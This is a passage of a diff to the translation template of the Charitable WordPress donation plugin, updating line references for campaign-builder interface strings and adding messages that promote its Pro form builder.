includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:907\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:882\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:897\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:912\n #, php-format\n msgid \"Good news! You have the %1$s plan. Please install and activate the %2$s to add this feature to your campaign page.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:881\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:896\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:911\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:927\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:886\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:901\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:916\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:932\n msgid \"Access Your Account\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:921\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:926\n msgid \"is not activated\"\n msgstr \"\"\n \n #. translators: %s - addon name.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:923\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:928\n #, php-format\n msgid \"Good news! You have the %1$s installed, you just need to activate it.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:932\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:943\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:937\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:948\n msgid \"is activated\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:933\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:938\n msgid \"installing...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:934\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:939\n msgid \"activating...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:935\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:940\n msgid \"standby...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:936\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:940\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:944\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:941\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:945\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:949\n msgid \"Save your campaign and refresh the page to use the addon with your campaign.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:937\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:942\n msgid \"has been installed and activated\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:938\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:943\n msgid \"failed to install and activate\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:939\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:944\n msgid \"Something went wrong. Save your campaign and attempt to install and activate the plugin on the WordPress plugin page.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:941\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:946\n msgid \"failed to activate\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:942\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:947\n msgid \"Something went wrong. Save your campaign and attempt to activate the plugin on the WordPress plugin page.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:947\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:952\n msgid \"\u003Cstrong>Bonus:\u003C\u002Fstrong> Charitable Lite users get \u003Cspan>50% off\u003C\u002Fspan> regular price, automatically applied at checkout.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:966\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:976\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:961\n+msgid \"Unlock the Visual Form Builder\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:962\n+msgid \"The Charitable Pro plugin's visual form builder lets you drag and drop fields, build multi-step donation flows, and customize every part of your donation form - all without writing code.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:962\n+msgid \"Upgrade to any paid Charitable plan to unlock the Charitable Pro plugin and design your forms exactly the way you want.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:963\n+msgid \"Get Charitable Pro\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:967\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:241\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-marketing.php:338\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:196\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-payment.php:424\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Ftemplates\u002Fclass-templates.php:669\n+#: includes\u002Fadmin\u002Fcampaigns\u002Fclass-charitable-campaign-list-table.php:662\n+#: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:1051\n+#: includes\u002Fadmin\u002Fplugins\u002Fclass-charitable-admin-plugins-third-party.php:588\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:568\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:584\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:593\n+msgid \"Learn More\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:982\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:992\n #: includes\u002Fadmin\u002Fclass-charitable-admin-pointers.php:220\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:828\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:37\n@@ -6250,216 +6277,218 @@\n msgid \"Next\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:967\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:983\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:829\n msgid \"Start Tour\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:968\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:984\n #: includes\u002Fadmin\u002Fnotifications\u002Fclass-charitable-notifications.php:1074\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:830\n msgid \"Watch Video\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:969\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:985\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:831\n msgid \"Choose a Template\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:970\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:986\n #: includes\u002Fadmin\u002Fonboarding\u002Fclass-charitable-checklist.php:832\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:250\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:249\n #: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:272\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:293\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:314\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:335\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:356\n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:514\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:291\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:309\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:330\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:351\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:372\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:393\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:567\n msgid \"Get Started\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:971\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:987\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:76\n msgid \"Welcome to the Campaign Builder!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:971\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:987\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:77\n msgid \"This is where you build, manage, and add features to your campaigns. The following steps will walk you through essential areas.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:972\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:988\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:22\n msgid \"Name Your Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:975\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:991\n msgid \"Give your campaign a name so you can easily identify it. Once you have entered a name, click\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:977\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:993\n msgid \"to continue\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:979\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:995\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Fpanels\u002Fclass-template.php:135\n msgid \"Select A Template\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:982\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:998\n msgid \"Build your campaign from scratch or use one of our pre-made templates. Hover over a thumbnail and select\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:984\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1000\n msgid \"to get started\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:985\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1001\n msgid \"For example:\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:986\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1002\n msgid \"The\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:987\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1003\n msgid \"Animal Sanctuary\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:988\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1004\n msgid \"template is perfect for animal rescue organizations\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:990\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1006\n msgid \"Campaign Fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:993\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1009\n msgid \"Clicking on this tab shows you the available fields for your campaign. You can drag additional fields to add to your page.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:995\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1011\n msgid \"Recommended Fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:998\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1014\n msgid \"These fields are usually found on all campaign pages. A\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:999\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1015\n msgid \"means that the field already is on your campaign page\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1001\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1017\n msgid \"Standard Fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1004\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1020\n msgid \"These are common fields you can use when you need them.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1006\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1022\n msgid \"Pro Fields\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1009\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1025\n msgid \"Fields that offer advanced features offered by addons or third-party integrations.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1014\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1030\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:42\n msgid \"Save your campaign progress at any time.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1016\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1032\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:47\n msgid \"Publish Your Campaign\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1019\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1035\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:48\n msgid \"When you're ready, launch your campaign and start raising funds.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1024\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1040\n msgid \"See how your campaign will look while in draft or before making updates.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1026\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1042\n #: includes\u002Fadmin\u002Fdonations\u002Fclass-charitable-donation-list-table.php:298\n msgid \"View\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1029\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1045\n msgid \"You can also check out your campaign once it's live.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1034\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1050\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:60\n msgid \"Add a campaign to a new or existing page with our embed wizard, or use the shortcode provided.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1039\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1055\n msgid \"Customize campaign details, preferences, and enable new functionality.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1040\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1056\n msgid \"Start with general settings where you can add donation goals, end dates, suggested amounts, and more.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1042\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1058\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:83\n msgid \"We hope you enjoyed the tour!\"\n msgstr \"\"\n \n #. translators: %s - getting started guide link.\n #. translators: %1$s is the link to the getting started guide, %2$s is the link to the documentation, %3$s is the link to the support page.\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1046\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1062\n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:90\n #, php-format\n msgid \"Remember that you can view our \u003Ca href=\\\"%1$s\\\" target=\\\"_blank\\\">getting started guide\u003C\u002Fa>, read our \u003Ca href=\\\"%2$s\\\" target=\\\"_blank\\\">documentation\u003C\u002Fa>, or \u003Ca href=\\\"%3$s\\\" target=\\\"_blank\\\">reach out to us\u003C\u002Fa> for support if you have any questions.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1049\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1065\n msgid \"Your Campaign Name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1052\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1068\n msgid \"This is where you can change or update your campaign name\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1410\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1428\n msgid \"Now editing\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1413\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1431\n msgid \"Enter Your Campaign Name Here...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1414\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1432\n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-campaign-title.php:43\n msgid \"Edit Campaign Title\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1427\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1445\n msgid \"Embed Campaign Ctrl+B\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1437\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1439\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1455\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1457\n msgid \"View Live\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1454\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1458\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1472\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1476\n msgid \"Publish\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1459\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1477\n msgid \"Pending Review\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1460\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1478\n #: includes\u002Fadmin\u002Freports\u002Fclass-charitable-reports.php:344\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Fexport-form.php:55\n #: includes\u002Fadmin\u002Fviews\u002Fcampaigns-page\u002Ffilter-form.php:38\n@@ -6467,39 +6496,39 @@\n msgid \"Draft\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1470\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1488\n msgid \"Exit Ctrl+Q\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1533\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1551\n msgid \"Use This Template\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1561\n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1562\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1579\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1580\n #: includes\u002Fadmin\u002Fviews\u002Fnotices\u002Fadmin-notice-campaign-builder.php:28\n #: includes\u002Fadmin\u002Fviews\u002Fnotices\u002Fadmin-notice-dashboard-reporting.php:31\n #: includes\u002Fadmin\u002Fviews\u002Fnotices\u002Fadmin-notice-dashboard-reporting.php:40\n msgid \"Campaign Builder\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1615\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1633\n msgid \"Debug Information\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1643\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1661\n msgid \"Our campaign builder is optimized for desktop computers.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1644\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1662\n msgid \"We recommend that you edit your campaign on a bigger screen. If you'd like to proceed, please understand that some functionality might not behave as expected.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1648\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1666\n msgid \"Back to All Campaigns\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1651\n+#: includes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php:1669\n #: includes\u002Fadmin\u002Ftemplates\u002Fchecklist-widget.php:120\n #: includes\u002Fadmin\u002Fviews\u002Fonboarding\u002Fsetup.php:115\n msgid \"Continue\"\n@@ -6744,8 +6773,6 @@\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-campaign-summary.php:292\n #: includes\u002Ffields\u002Fdefault-fields\u002Fcampaign-fields.php:293\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:133\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:96\n msgid \"Number of Donors\"\n msgstr \"\"\n \n@@ -6811,7 +6838,7 @@\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-page-settings.php:54\n #: includes\u002Fadmin\u002Fviews\u002Fmetaboxes\u002Fcampaign-page-settings.php:55\n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-button-widget.php:77\n-#: includes\u002Fshortcodes\u002Fclass-charitable-donate-button-shortcode.php:39\n+#: includes\u002Fshortcodes\u002Fclass-charitable-donate-button-shortcode.php:40\n #: templates\u002Fcampaign-loop\u002Fdonate-link.php:25\n #: templates\u002Fcampaign-loop\u002Fdonate-modal.php:30\n #: templates\u002Fcampaign\u002Fdonate-button.php:23\n@@ -6876,8 +6903,6 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-donor-wall.php:321\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:184\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:167\n msgid \"Orientation\"\n msgstr \"\"\n \n@@ -6887,8 +6912,6 @@\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-donor-wall.php:356\n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-campaigns-widget.php:126\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:140\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:107\n msgid \"Order By\"\n msgstr \"\"\n \n@@ -6903,14 +6926,10 @@\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-donor-wall.php:375\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:156\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:122\n msgid \"Order\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Fcampaign-builder\u002Ffields\u002Fclass-donor-wall.php:388\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:222\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:230\n msgid \"Hide If No Donors\"\n msgstr \"\"\n 